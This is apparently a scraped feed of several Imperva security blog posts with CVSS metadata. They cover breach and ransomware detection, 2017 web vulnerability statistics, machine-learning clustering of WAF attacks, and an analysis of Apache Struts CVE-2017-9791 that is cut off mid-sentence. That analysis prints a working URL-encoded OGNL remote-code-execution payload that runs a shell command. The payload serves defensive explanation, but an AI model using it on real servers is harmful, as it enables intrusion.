2. Attackers exploit weaknesses in the company's security posture, notably the lack of proper segmentation.\n 3. In almost all major breaches, a lack of continuous security patching of servers and databases contributes to the attack\u2019s success.\n 4. Unpatched servers and databases provide the resident attacker room to operate freely within the company's network for a protracted amount of time.\n 5. In almost all these attacks, the intruders were in the company\u2019s environment for months, customizing their attack tools over and over again until the sensitive data was successfully compromised.\n\n### Ransomware attack\n\nThis type of attack is designed to disable critical systems or prevent sensitive data access by privileged users until a specified amount of money is paid. Ransomware attacks have become more and more sophisticated. They typically involve:\n\n1\\. Penetrating the organization's IT environment\n\n * Malware installed on an endpoint operating system via a phishing attack.\n * Account Takeover (ATO) attacks use stolen credentials to penetrate the organization\u2019s environment.\n\n2\\. Analyzing network resources to allocate databases that hold personal, financial, or business-critical information.\n\n3\\. Making the original data stored unusable by:\n\n * Encrypting the data.\n * Extract data either to a hidden file in the network or outside.\n * Modify data values stored.\n\n### Ransomware attack detection example\n\nIn this attack, the data is moved from the original database to a readme file.\n\nDB breach flow:\n\n 1. Attacker query for databases list.\n 2. Attacker selects prod_db.\n 3. Data is being stolen from prod_db using the 'select'.\n 4. Prod_db is being deleted using 'drop'.\n\n## How should organizations protect their home environment\n\nImperva research shows that much like using a safe at home, when organizations secure their data repositories with a data-centric security fabric, and when a hostile penetration occurs, they dramatically reduce data exfiltration risk by turning all open repositories into well protected alarmed enabled safes. This shortens the path from breach to detection to response.\n\nAs business innovation and the services that support it are digitally transformed, the perimeter boundaries have blurred. The \u201cwalls\u201d that protect data repositories have cracks that allow attackers to put their hands on sensitive data, effectively ending the days of protecting assets within the network perimeter. The security of an organization is only as strong as the weakest link in the security chain. In many cases, better architecture and cross-organization security practices would do the trick, but those practices are not easy to implement and control, nor do they account for the risks presented by third-party technology providers. You must secure all the data repositories they manage, not just the applications and networks that surround them.\n\nThe cause of most breaches is the lack of an in-depth data security strategy. As we discussed before, you can reduce the attack surface by securing your data repositories, but you must gain visibility into them. Next, eliminate excessive privileges from key users and deploy strong authentication mechanisms. Never forget that securing data repositories is a never-ending process, you must always work toward optimizing your security architecture, policies, and practices, both for your assets and employees. Continuously performing data discovery and classification to locate sensitive personal data is a great way to maintain an enterprise-grade data security strategy and eliminate bad practices inside on-premises and cloud-managed environments. Together with implementing [Imperva\u2019s Web Application Firewall](<https://www.imperva.com/products/web-application-firewall-waf/>) (WAF) and [Imperva Data Security Fabric](<https://www.imperva.com/products/data-security-fabric/>), it is possible to protect against most potential data breach scenarios.\n\n## On-Demand Webinar: Detecting Attacks on Your Data. How can we do it right?\n\n[Watch now.](<https://community.imperva.com/events/event-description?CalendarEventKey=afb10612-12cf-4e6d-9fe6-b3a4486a966f&CommunityKey=39c6092a-d67a-4bc2-8134-bfbb25fc43af&Home=%2fevents>)\n\nSecurity Analytics are an essential part of the toolkit to protect against data breaches. Are you using Imperva Data Risk Analytics (DRA)? Imperva Data Risk Analytics tools have been purpose-built to recognize threats such as suspicious data access or signs of potentially compromised accounts. But did you know Imperva recently added new features that can recognize the attack signatures of active exploits so you can be instantly notified of an attack in progress?\n\nIn this webinar, Product Manager Oren Graiver, will describe how you can use [Imperva Data Risk Analytics](<https://www.imperva.com/solutions/user-behavior-analytics/>) to augment Imperva vulnerability assessment and data activity monitoring and transform your security posture to proactively prevent data compromise incidents. Topics covered will include:\n\n * Where breaches are found\n * Understanding data breach detection\n * Early signs of a breach\n * Kill chain and data compromise\n * Real life example of a breach DRA can detect - Ransomware\n * What\u2019s on the roadmap?\n\n[Watch the webinar today](<https://community.imperva.com/events/event-description?CalendarEventKey=afb10612-12cf-4e6d-9fe6-b3a4486a966f&CommunityKey=39c6092a-d67a-4bc2-8134-bfbb25fc43af&Home=%2fevents>).\n\nThe post [Two New Trends Make Early Breach Detection and Prevention a Security Imperative](<https://www.imperva.com/blog/two-new-trends-make-early-breach-detection-and-prevention-a-security-imperative/>) appeared first on [Blog](<https://www.imperva.com/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-08-31T13:47:34", "type": "impervablog", "title": "Two New Trends Make Early Breach Detection and Prevention a Security Imperative", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2022-08-31T13:47:34", "id": "IMPERVABLOG:CD196CDD794CCCE3719A9D38DA5BE417", "href": "https://www.imperva.com/blog/two-new-trends-make-early-breach-detection-and-prevention-a-security-imperative/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2017-12-28T17:52:36", "description": "As a web application firewall provider, part of our job at Imperva is constantly monitoring new security vulnerabilities. To do this, we use internal software that collects information from various data sources such as vulnerability databases, newsletters, forums, social media and more, integrate it into a single repository, and assess each vulnerability\u2019s priority. Having this kind of data puts us in a unique position to provide analysis of all web application vulnerabilities throughout the year, view trends and notice significant changes in the security landscape.\n\nAs we did [last year](<https://www.imperva.com/blog/2016/12/state-web-applications-vulnerabilities-2016/>), before we enter 2018, we took a look back at 2017 to understand the changes and trends in web application security over the past year.\n\nThis year we registered a record high number of web application vulnerabilities including well-known categories like [cross-site scripting](<https://www.imperva.com/app-security/threatglossary/cross-site-scripting-xss/>), but also new categories such as insecure [deserialization](<https://www.owasp.org/index.php/Deserialization_Cheat_Sheet>). In addition, the number of internet of things (IoT) vulnerabilities continued to grow and severely impact the security landscape. WordPress and PHP each continued to \u201cdominate\u201d in terms of vulnerabilities published in the content management system and server side technologies respectively. [Apache Struts vulnerabilities](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>), although the framework is less popular in the market at large, had a huge effect and were claimed to be the root cause of one of the biggest security breaches in 2017.\n\n## 2017 Web Application Vulnerabilities Statistics\n\nOne of the first stats we review is quantity, meaning how many vulnerabilities were published in 2017 and how that number compares to previous years.\n\nFigure 1 shows the number of vulnerabilities on a monthly basis over the last two years. We can see that the overall number of new vulnerabilities in 2017 (14,082) increased significantly (212%) compared to 2016 (6,615). According to our data, more than 50% of web application vulnerabilities have a public exploit available to hackers. In addition, more than a third (36%) of web application vulnerabilities don\u2019t have an available solution, such as a software upgrade workaround or software patch.\n\nAs usual, cross-site scripting (Figure 2) vulnerabilities are the majority (8%) of 2017 web application vulnerabilities. In fact, their amount has doubled since 2016.\n\n_Figure 1: Number of web application vulnerabilities in 2016-2017_\n\n## OWASP Top 10 View\n\nThis year [OWASP released](<https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf>) their long awaited \u201cTop 10\u201d list, which included two new risks:\n\n### Insecure Deserialization\n\nSerialization is the process of translating data structures or object state into a format that can be stored (for example, in a file or memory buffer) or transmitted (for example, across a network connection link) and reconstructed later (deserialization). Serialization is widely used in RPC, HTTP, databases, etc.\n\nApplications and APIs may be vulnerable if they deserialize hostile or tampered objects supplied by an attacker without proper sanitization. Therefore, we thought it would be interesting to view the security vulnerabilities in light of these changes.\n\n_Figure 2: Number and type of OWASP Top 10 vulnerabilities 2014-2017_\n\nThe amount of deserialization vulnerabilities from 2016-2017 (Figure 2) increased substantially from previous years which may explain how they \u201cearned\u201d their spot in the new OWASP Top 10 list. Today, more and more applications and frameworks are using standard APIs to communicate. Some of these APIs take serialized objects and deserialize them in return, which can explain the growing trend of insecure deserialization vulnerabilities.\n\n### Insufficient Logging and Monitoring\n\nAttackers rely on the lack of monitoring and timely response to achieve their goals without being detected. We have not found any vulnerabilities published in 2017 that are directly related to this category. It will be interesting to monitor it and see if that will change next year.\n\n## The Rise of the (IoT) Machines\n\nNowadays nearly every aspect of our lives is connected to the internet and we can find smart devices everywhere\u2014in our home refrigerator, TV, lights, doors, locks and even the clothes we wear. These devices are designed to send and receive information and thus are usually connected to the internet at all times. In many cases the vendors of smart devices neglect to secure them properly or even \u201cbackdoor\u201d them on purpose in order to gain hidden access.\n\n \n_Figure 3: IoT vulnerabilities 2014-2017_\n\n2017 registered a record high of 104 IoT-related vulnerabilities (Figure 3), a huge increase relative to previous years. The rising trend in the amount of vulnerabilities can be associated with their increasing popularity in our modern lives and advances in IoT technology that make IoT devices cheaper and accessible to more people.\n\nOne of the most popular vulnerability types in IoT devices (35%) is using default or easy to guess credentials in order to gain access to the device and take control of it. Once the device is controlled by the attacker it can be used to mount any kind of attack. Earlier this year the well-known [Mirai malware used this kind of vulnerability](<https://www.incapsula.com/blog/malware-analysis-mirai-ddos-botnet.html>) (default credentials) to spread itself through the network. Once the malware gained access to the device, it turned it into a remote-controlled bot that was used as part of huge a DDoS attack.\n\n## Content Management Systems\n\nWhen analyzing content management system (CMS) frameworks, we decided to concentrate on the four leading platforms that account for [60% of the market share](<https://w3techs.com/technologies/overview/content_management/all>)\u2014WordPress, Joomla, Drupal and Magento.\n\n_Figure 4: Number of vulnerabilities by CMS platform 2016-2017_\n\n### WordPress\n\nAs suspected, WordPress vulnerabilities continue to be the lion\u2019s share of all CMS-related vulnerabilities. In fact, WordPress vulnerabilities (418) have increased by ~400% since 2016 (Figure 4).\n\nFurther analysis of WordPress vulnerabilities showed that 75% of the 2017 vulnerabilities originated from third-party vendor plug-ins (Figure 5).\n\n_Figure 5: WordPress third party vendor vulnerabilities in 2017_\n\nThe rise in the number of vulnerabilities can be explained by the growth of WordPress (Figure 6) and because [third party plug-in](<https://www.wpwhitesecurity.com/wordpress-security/statistics-highlight-main-source-wordpress-vulnerabilities/>) code is notoriously known for its bad security.\n\n**Year** | **Number of WordPress Plug-ins** \n---|--- \n**2015** | 41,347 \n**2016** | 48,044 \n**2017** | 53,357 \n \n_Figure 6: WordPress plug-in's trend_\n\n## Server-side Technologies\n\nPHP is still the most prevalent server-side language, therefore it\u2019s expected be associated with the highest number of vulnerabilities. In 2017, 44 vulnerabilities in PHP were published (Figure 7) which is a significant decrease (-143%) from the number of PHP vulnerabilities in 2016 (107) (see Figure 7). At the end of 2015, PHP released a major version, 7.0, after almost a year and half with no updates, which can explain the growth in the number of vulnerabilities in 2016. Last year PHP released a minor version, 7.1 (December 2016), with slight changes which can explain the decrease in the number of vulnerabilities in 2017.\n\n_Figure 7: Top server-side technology vulnerabilities 2014-2017_\n\n## The Year of Apache Struts\n\nAlthough 2017 listed fewer vulnerabilities in the Apache Struts framework (Figure 8), their impact was huge as some of them included unauthenticated [remote code execution](<https://www.imperva.com/blog/2017/01/remote-code-execution-rce-attacks-apache-struts/>) (RCE) which basically means that anyone can hack and take over the server, access private information and more.\n\n_Figure 8: Apache Struts and remote code execution vulnerabilities in 2014-2017_\n\nWe have previously blogged about this [specific vulnerability](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) and [multiple other Apache Struts](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>) vulnerabilities in detail. They\u2019re worth checking out if you haven\u2019t already.\n\n## Predictions Toward 2018\n\nAs a security vendor, we\u2019re often asked about our predictions. Here are a couple of possible vulnerabilities trends for 2018:\n\n * Cross-site scripting vulnerabilities will continue to lead mainly because of the rise of [cryptojacking](<https://www.wired.com/story/cryptojacking-cryptocurrency-mining-browser/>) and the increasing popularity of server-side technologies that utilize JavaScript (e.g., Node.JS).\n * More authentication-related vulnerabilities from the family of \u201cdefault/guessable credentials\u201d will be discovered (especially in IoT devices) and exploited in order to herd new botnets. These botnets can be used to mount any kind of large scale attacks\u2014DDoS, brute force and more.\n\n## How to Protect Your Apps and Data\n\nOne of the best solutions for protecting against web application vulnerabilities is to deploy a [web application firewall](<https://www.imperva.com/products/application-security/web-application-firewall-waf/>) (WAF). A WAF may be either on-premises, in the cloud or [a combination of both](<https://www.imperva.com/blog/2017/11/cloud-waf-versus-on-premises-waf/>) depending on your needs and infrastructure.\n\nAs organizations are moving more of their apps and data to the cloud, it\u2019s important to think through your security [requirements](<https://www.imperva.com/blog/2017/06/waf-requirements-and-deployment-options-for-the-cloud/>). A solution supported by a dedicated security team is an important requirement to add to your selection criteria. Dedicated security teams are able to push timely security updates to a WAF in order to properly defend your assets.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-12-28T17:20:47", "type": "impervablog", "title": "The State of Web Application Vulnerabilities in 2017", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-12-28T17:20:47", "id": "IMPERVABLOG:6BF557CA0830C9058E2409E8C914366C", "href": "https://www.imperva.com/blog/2017/12/the-state-of-web-application-vulnerabilities-in-2017/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-06-20T00:15:21", "description": "In the previous blog posts in this series, we discussed the motivation for clustering attacks and the data used and how to calculate the distance between two attacks using different methods on each feature we extracted. In this final blog post, we\u2019ll discuss the clustering algorithm itself \u2013 how to use the distance we calculated to create clusters from the data. We will discuss clustering in real time when only a small amount of data can be stored in memory. Finally, we\u2019ll show some results of the algorithm based on real data from Imperva customers.\n\n## Choosing a (realtime) clustering algorithm\n\nNow we have all the basic ingredients to input into the algorithm. What\u2019s left to decide is which clustering algorithm to use. There are many algorithms to choose from that meet varying needs, for example, we\u2019ve previously written about [clustering](<https://www.imperva.com/blog/2017/07/clustering-and-dimensionality-reduction-understanding-the-magic-behind-machine-learning/>) techniques used in Imperva CounterBreach.\n\nHere\u2019s where the algorithm reality punched us right in the face: the demand from our engineering team was that the **clustering is done in** **real time**. Meaning each time a new event enters the system the algorithm needs to decide on the spot how to cluster it and update the current clustering state. This had been done with minimum memory, which meant that individual events could not be stored in memory.\n\nThe more popular and well-known clustering algorithms work on a batch of data instead of a stream, i.e., their input is a static dataset. So, this real-time requirement meant we had to look for other algorithms that work in streaming mode.\n\nThere are a [couple of methods](<https://en.wikipedia.org/wiki/Data_stream_clustering>) to use to cluster a stream of data. We won\u2019t discuss these methods as they are more complex and technical, instead, we\u2019ll present the requirements of our algorithm and what was needed for them to be met.\n\n## Clustering requirements in streaming mode\n\nFirst, a clustering algorithm in streaming mode needs to make decisions in real time, meaning that the algorithm maintains in memory a current state of the clusters and each time a new event enters the system the algorithm updates the clustering state. This is done instantaneously and without storing the discrete event in memory.\n\nSecond, we need to remember that each time the algorithm was making a decision it was doing so based on partial data. That\u2019s because the algorithm only processed past data. If the algorithm were to know **all **of the events (past and future events) the decision it would make might be different. So, the algorithm must have a way to **undo decisions** it made in the past. The way the algorithm undoes its decisions is by splitting a cluster into smaller parts and merging the parts together into other clusters that are the best fit.\n\nFinally, most of the streaming clustering algorithms from academic articles work on spatial data. This means that their input are points in a Euclidean space (think of it as coordinates in an n-dimensional space). Our data is more complex, it contains URLs which are strings, IPs, geographic coordinates and other varying features. These features cannot be easily embedded into a Euclidean space, and even if they would it would make no sense to do so. So, the algorithm we needed must assume only that we can calculate the distance between two data points, and not that they are embedded into a Euclidean space.\n\nWe used a homegrown algorithm to answer these needs. Clustering in streaming mode is always a trade-off between accuracy of the results and the time and memory efficiency. We tried to find the balance so the result would be as accurate as possible storing only the minimum amount of data needed in memory while performing the least possible amount of calculations with each incoming event. See Figure 7 for the general flow of clustering in streaming mode.\n\n[![](https://www.imperva.com/blog/wp-content/uploads/2018/05/Clustering.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/05/Clustering.png>)\n\nFigure 7: Clustering in streaming mode - clusters may change due to new events entering the system\n\nWe stored aggregated structured data in memory instead of raw events; this way we were able to split clusters, to some extent, and rearrange them as would seem most appropriate. Also, in order to process data in real time, most of the time we used a light-weight distance function that wouldn\u2019t take too much time to calculate and didn\u2019t consider all the features. We used a heavier and more accurate distance function that considered all the features only at predefined times when there were enough new events that entered the system, as we expected the clustering state might change significantly.\n\nAlso, for performance considerations, we couldn\u2019t cluster all the events from the beginning each time a new event entered the system. That\u2019s why every time a new event came in the algorithm used its current clustering state to do calculations only on the clusters that may change due to the new event. This way we significantly reduced the time it took to process each new event.\n\n## Results of the algorithm: Customer use cases\n\nFor validation of the algorithm, some of our web application firewall (WAF) customers provided us with logs containing events from their WAF. Here are three highlighted clusters which contain incidents we thought were interesting:\n\n### Nginx integer overflow\n\nCVE-2017-7529 is a vulnerability of Nginx that allows an attacker to launch an integer overflow attack using a crafted \u201crange\u201d header. We saw a cluster on a customer\u2019s WAF containing over two thousand attacks from over 100 distinct IPs over a period of three days trying to exploit this vulnerability. Over 80% of the attacks came from the US and most of the attacks seemed to use the same attack tool. Also, the attack targeted many different URLs, although it targeted only two resource extensions: PDF and CFM.\n\n### Email harvesting\n\nEmail collector robots try to scrape web applications to find email addresses. The purpose for email harvesting is mostly to collect lists of emails in order to sell them to spammers. We saw a cluster on a customer\u2019s WAF which contained over 50 distinct IPs that performed email harvesting. The source of these attacks was very distributed, from the US, Europe, South America and Asia. Most of the targets were the home page of the application. This means that after the robots were blocked at the home page they didn\u2019t proceed to scrape the rest of the site, probably moving on to try other websites which are not protected by a WAF. The same cluster was also found in more than five different web applications we analyzed indicating this is a popular attack.\n\n### Attacks on Apache Struts vulnerabilities\n\nIn [previous blog posts](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) we discussed Apache Struts vulnerabilities, and how they are very popular among attackers, especially ones from Asian countries. [CVE-2017-5638](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) is an Apache Struts vulnerability published on March 2017 that allows attackers to launch remote code execution attacks using a crafted \u201ccontent-type\u201d header. We saw a cluster of attacks trying to utilize this vulnerability; most of the attacks came from China and the target was very distributed, containing multiple URLs. Also, in addition to this specific vulnerability, the attackers tried to utilize other vulnerabilities of Apache Struts. This is a popular phenomenon we see in our data: attackers trying to utilize different vulnerabilities of the same system, in this case Apache Struts. The cluster appeared on over ten different web applications we analyzed, and all the clusters contained similar attributes. This indicates the popularity of Apache Struts vulnerabilities among attackers.\n\n## Conclusion\n\nClustering application attacks is a challenging task that requires a lot of research and experimentation. Throughout the process, we encountered many difficulties and made a number of decisions regarding the algorithm. Many due to real life constraints not seen in academic research. Customer applications don\u2019t live in a lab so the solutions that protect them can\u2019t either.\n\nKnowledge of the application security domain and a deep understanding of data are both \u2013 in our experience \u2013 crucial prerequisites for the design and implementation of any successful machine learning algorithm built to protect apps and the data that connects to them.\n\nLearn more about protecting apps from attacks with [Imperva SecureSphere](<https://www.imperva.com/Products/WebApplicationFirewall-WAF>) or [Imperva Incapsula](<https://www.incapsula.com/website-security/web-application-firewall.html>) Web Application Firewall.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-06-19T22:41:03", "type": "impervablog", "title": "Clustering App Attacks with Machine Learning Part 3: Algorithm Results", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2017-7529"], "modified": "2018-06-19T22:41:03", "id": "IMPERVABLOG:697E34BE77BECD65BF763ECF92DD1B9F", "href": "https://www.imperva.com/blog/2018/06/clustering-app-attacks-with-machine-learning-part-3-algorithm-results/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-07-14T02:18:38", "description": "On July 7th, a new security vulnerability was published in Apache Struts 2 CVE-2017-9791 (S2-048[1]). Struts 2.3.x users with Struts 1 plugin, which includes the Showcase app, are vulnerable.\n\nOnce again, this vulnerability enables a Remote Code Execution (RCE), which is the most commonly exploited Apache Struts vulnerability. In this case, as in many other cases of RCE in Apache Struts, the attacks observed in the wild are also carried in the form of Object-Graph Navigation Language (OGNL) expressions.[2]\n\nLike the recent Struts 2 RCE [CVE-2017-5638](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>), Imperva customers are protected against current variations of the attack using the zero-day attack detection mechanism in either SecureSphere or Incapsula. The zero-day attack detection mechanism protects against malicious traffic regardless of a specific web exploit.\n\n## The Vulnerability\n\nBased on [Apache release notes](<https://cwiki.apache.org/confluence/display/WW/S2-048>), \u201cit is possible to perform a RCE attack with a malicious field value when using the Struts 2 Struts 1 plugin and it's a Struts 1 action and the value is a part of a message presented to the user\u201d. The message presented to the user is processed by the \u201cActionMessage\u201d routine and returned back to the user by the \u201cmessage\u201d function as follows:\n \n \n messages.add(\"msg\", new ActionMessage(**the_message**));\n\nLacking proper validation before execution, the message (the_message) processed by the server may potentially cause a remote code execution. To fulfill its execution potential, a remote entry point is required for the message. Following the route of the vulnerable code leads to this location:\n \n \n /struts2-showcase/integration/saveGangster.action\n\nPoking around the webpage reveals several inputs controlled by the user, including name, age, and description (see Figure 1):\n\n![CVE-2017-9791 _vulnerable apache struts app_1](https://www.imperva.com/blog/wp-content/uploads/2017/07/CVE-2017-9791_vulnerable-apache-struts-app_1.png)\n\n_Figure 1: Vulnerable Apache Struts application_\n\nWhen submitting the \u201cGangster\u201d data the server processes the user\u2019s input with the vulnerable \u201cActionMessage\u201d routine and returns a message to the user (see Figure 2):\n\n![CVE-2017-9791 _request to vulnerable page_2](https://www.imperva.com/blog/wp-content/uploads/2017/07/CVE-2017-9791_request-to-vulnerable-page_2.png)\n\n![CVE-2017-9791 _request to vulnerable page2_2](https://www.imperva.com/blog/wp-content/uploads/2017/07/CVE-2017-9791_request-to-vulnerable-page2_2.png)\n\n_Figure 2: Request to the vulnerable page and result_\n\nAs can be observed, the processed message is integrated with the user\u2019s input data (\u201c_Gangster a added\u2026_\u201d) which means now the input data can be modified to include arbitrary code execution (see Figure 3). For instance, the RCE payload can add a custom header to the response message or use an OGNL mechanism to run malicious code (see the second payload in \u201cAttacks in the Wild\u201d section):\n\n![CVE-2017-9791 _exploitation of vulnerable apache struts app_3](https://www.imperva.com/blog/wp-content/uploads/2017/07/CVE-2017-9791_exploitation-of-vulnerable-apache-struts-app_3.png)\n\n_Figure 3: Exploitation of the vulnerable application_\n\n## Imperva Zero-Day Protection\n\nAs mentioned earlier, Imperva customers are protected against this new Apache Struts vulnerability using zero-day detection mechanisms from either SecureSphere or Incapsula, which detect incoming traffic with malicious content, regardless of a specific vulnerability or exploit.\n\nThe zero-day detection technique prevents the new attack using two complementary deterrence layers:\n\n * First, since the exploit includes an arbitrary remote code to be executed, customers are protected out-of-the-box to most attack variations using a generic Remote Command Execution mitigation mechanism (see Figure 4):\n\n![CVE-2017-9791 _securesphere blocking generic RCE_4](https://www.imperva.com/blog/wp-content/uploads/2017/07/CVE-2017-9791_securesphere-blocking-generic-RCE_4.png)\n\n_Figure 4: SecureSphere blocking a generic RCE_\n\n * Then, in the second layer of defense, SecureSphere and Incapsula both detect potential OGNL expressions which are used to manipulate Java objects, and are commonly used by attackers to inject remote code in vulnerable Apache Struts servers, including in this attack (see Figure 5):\n\n_![CVE-2017-9791 _securesphere blocking generic ognl based RCE_5](https://www.imperva.com/blog/wp-content/uploads/2017/07/CVE-2017-9791_securesphere-blocking-generic-ognl-based-RCE_5.png)_\n\n_Figure 5: SecureSphere blocking a generic OGNL-based RCE_\n\nNevertheless, to be on the safe side, a few hours following the release of this critical vulnerability our security teams published a dedicated mitigation guideline and virtually patched Imperva customers.\n\n## Attacks in the Wild\n\nAn increasing amount of attack attempts have been seen since the publication of this new Struts vulnerability, mostly as hard copy replication of PoCs published shortly after the first announcement, and refer to reconnaissance attempts to track vulnerable servers. Below are details on two common payloads seen in the wild.\n\n### Payload #1: Custom Header Insertion Attempts\n\n**Part of a blocked HTTP request carrying CVE-2017-9791 RCE exploit** \n--- \n**HTTP Method:** | POST \n**POST Body:** | **${#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-BIGSCAN-Test','fe9a40f002fe11e7b4ef0242c0a8050\u2032)}** \n**URL:** | /struts2-showcase/integration/savegangster.action \n \nHTTP headers are easily parsed and extracted with automated scripts, therefore validating the existence of a new custom HTTP header is very straight forward for the attackers to implement and can be used as a reconnaissance request before the actual attack \u2013 i.e., the actual RCE which will take over the server.\n\nIn most cases attackers will use this kind of reconnaissance as part of a vulnerability scanning tool on predefined IPs range, facilitating bots to effectively scan a wide range of addresses. Based on our classification analysis, IPs that were registered in this attack are known to generate mostly bot traffic (~96%).\n\n### Payload #2: OGNL Expression Execution Attempts\n\n**Part of a blocked HTTP request carrying CVE-2017-9791 RCE exploit** \n--- \n**HTTP Method:** | POST \n**POST Body:** | **%7b%28%23szgx%3d%27multipart%2fform-data%27%29.%28%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3f%28%23_memberAccess%3d%23dm%29%3a%28%28%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d%29.%28%23ognlUtil%3d%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3d%27echo%20891549112%27%29.%28%23iswin%3d%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3d%28%23iswin%3f%7b%27cmd.exe%27%2c%27%2fc%27%2c%23cmd%7d%3a%7b%27%2fbin%2fbash%27%2c%27-c%27%2c%23cmd%7d%29%29.%28%23p%3dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3d%23p.start%28%29%29.%28%23ros%3d%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2c%23ros%29%29.%28%23ros.close%28%29%29%7d** \n**URL:** | /struts2-showcase/integration/savegangster.action \n \nDecoding the URL\u2019s payload injected to the name parameter unveils the following RCE (see Figure 6):\n\n![CVE-2017-9791_ognl based RCE URL decoded](https://www.imperva.com/blog/wp-content/uploads/2017/07/CVE-2017-9791_ognl-based-RCE-URL-decoded.png)\n\n_Figure 6: OGNL-based RCE (URL Decoded)_\n\nThe payload in this case refers to an attempt to execute OGNL expression, as an entry point to the attack. Again, in this case it is only a reconnaissance attempt before the attack, in which the attacker echoed a random generated number \u201c89159112\u201d to match when processing the response message.\n\nIt will be interesting to monitor the trending exploits over time and to see if and how the reconnaissance trend gradually shifts to actual exploitation attempts of these servers.\n\n## Stay Protected\n\nBased on the official [advisory](<http://seclists.org/oss-sec/2017/q3/92>) this vulnerability does not affect applications using Struts 2.5.x series or applications that do not use the Struts 1 plugin. Meaning that an update is required for those who use the earlier vulnerable patches. It is also mentioned that even if the Struts 1 plugin is available while excluding certain code parts, the application is safe.\n\nAn alternative to the formal advisory, which could be costly and time consuming, is [virtual patching](<https://www.owasp.org/index.php/Virtual_Patching_Best_Practices>). Instead of leaving a web application exposed to attack while attempting to modify code after discovering a vulnerability, virtual patching actively protects web apps from attacks, reducing the window of exposure and 